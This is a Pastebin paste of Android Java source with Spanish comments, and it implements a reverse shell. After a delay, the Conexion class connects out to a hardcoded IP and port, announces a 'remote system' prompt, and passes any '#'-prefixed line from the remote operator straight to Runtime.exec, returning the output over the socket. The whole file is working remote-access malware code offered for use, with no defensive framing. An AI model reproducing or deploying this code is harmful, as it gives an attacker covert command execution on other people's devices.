Not a member of Pastebin yet?
                        Sign Up,
                        it unlocks many cool features!                    
                - package com.stringmanolo.rs;
 - import java.io.BufferedReader;
 - import java.io.InputStreamReader;
 - import java.io.OutputStream;
 - import java.net.InetSocketAddress;
 - import java.net.Socket;
 - import android.os.SystemClock;
 - /* Mensajes en la app para debug.
 - import android.widget.Toast;
 - */
 - public class Conexion {
 - public static void Conectar(){
 - Thread hilo = new Thread(new Runnable() {
 - @Override
 - public void run() {
 - Socket socket = new Socket();
 - /* Intenta establecer una conexión a la dirección y puertos hardcodeados durante timeout*/
 - try {
 - SystemClock.sleep(30000);
 - socket.connect(new InetSocketAddress("192.168.43.1", 9191), 10000);
 - } catch(Exception errConexion) {
 - /* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
 - Toast.makeText(getApplicationContext(),errConexion.toString(),Toast.LENGTH_SHORT).show();
 - */
 - android.os.Process.killProcess(android.os.Process.myPid());
 - }
 - /* Comunicación por el socket */
 - try {
 - OutputStream peticion = socket.getOutputStream();
 - String msgInicial = "SISTEMA REMOTO OPERATIVO\nEscribe ayuda para mostrar una lista de comandos disponibles\n";
 - /* Envia el texto al cliente remoto */
 - peticion.write(msgInicial.getBytes("UTF-8"));
 - /* INCLUIR: Escribir info al establecer la conexión para identificar el servidor de forma única */
 - peticion.flush();
 - /* Recibe por el socket el texto a ejecutar */
 - String linea = "";
 - String respuesta = "";
 - BufferedReader buffLeer = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));
 - /* Mientras se reciban datos desde el cliente */
 - while((linea = buffLeer.readLine()) != null) {
 - /* Innecesario, utilizar += en caso de querer loggear input del cliente */
 - respuesta = linea;
 - /* En caso de que el input recibido comienze por # */
 - if (respuesta.charAt(0) == '#') {
 - /* Quita el # para procesar el resto del input recibido */
 - respuesta = respuesta.substring(1);
 - try {
 - /* Pasa el comando directamente a la consola del sistema. */
 - /* CUIDADO: Vas crashear la aplicación si utilizas comandos no permitidos por el sistema. O comandos inexistentes. */
 - /* ALTERNATIVA: Implementa la utilidad o impórtala como librería para manejar las excepciones. */
 - /* PROBLEMA: No utilizar directamente binarios que requiera de input directo desde shell. */
 - /* SOLUCIÓN: La aplicación se reinicia cada X tiempo. Esto soluciona múltiples problemas relacionados con cuelges de servicios del sistema */
 - Process comando = Runtime.getRuntime().exec(respuesta);
 - /* Obtiene el resultado en la consola del sistema del dispositivo generada por el comando. */
 - BufferedReader salidaRemota = new BufferedReader(new InputStreamReader(comando.getInputStream()));
 - String salidaComando = null;
 - /* Mientras se reciba salida del sistema remoto */
 - while((salidaComando = salidaRemota.readLine()) != null) {
 - /* Añade saltos de linea a la salida tras cada linea. */
 - salidaComando += "\n";
 - /* Escribe en el socket */
 - peticion.write(salidaComando.getBytes("UTF-8"));
 - }
 - } catch(Exception err) {
 - /* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
 - Toast.makeText(getApplicationContext(),err.toString(),Toast.LENGTH_SHORT).show();
 - */
 - }
 - }
 - /* En caso de que el input recibido sea programas */
 - if (respuesta.trim().equals("programas")) {
 - /* Muestra los binarios disponibles en el sistema. */
 - Process bin = Runtime.getRuntime().exec("ls system/bin");
 - BufferedReader stdInput = new BufferedReader(new InputStreamReader(bin.getInputStream()));
 - String salidaBin = null;
 - while((salidaBin = stdInput.readLine()) != null) {
 - salidaBin += "\n";
 - peticion.write(salidaBin.getBytes("UTF-8"));
 - }
 - }
 - /* En caso de que el input recibido sea salir */
 - if (respuesta.trim().equals("salir")) {
 - /* Muestra un mensaje antes de salir. */
 - peticion.write("Aplicación Cerrada.\nAdios!\n".getBytes("UTF-8"));
 - /* Cierra el socket aquí o en OnStop */
 - socket.close();
 - /* Finaliza La Aplicación Forzosamente */
 - android.os.Process.killProcess(android.os.Process.myPid());
 - }
 - /* En caso de que el input recibido sea ayuda. */
 - if (respuesta.trim().equals("ayuda")) {
 - /* Muestra el texto. */
 - peticion.write("Acciones Disponibles:\nprogramas\n Lista todos los binarios preinstalados en el sistema remoto\n\n#comando\n Ejecuta el comando a continuación del símbolo #, por ejemplo #ls\n\nsalir\n Cierra la conexión y el programa remoto.\n".getBytes("UTF-8"));
 - }
 - }
 - } catch(Exception errConexion) {
 - /* Es obligatorio capturar la excepción */
 - }
 - } /* Fin Runneable */
 - }); /* Fin Hilo */
 - hilo.start();
 - }
 - }
 
Advertisement
 
                    Add Comment                
                
                        Please, Sign In to add comment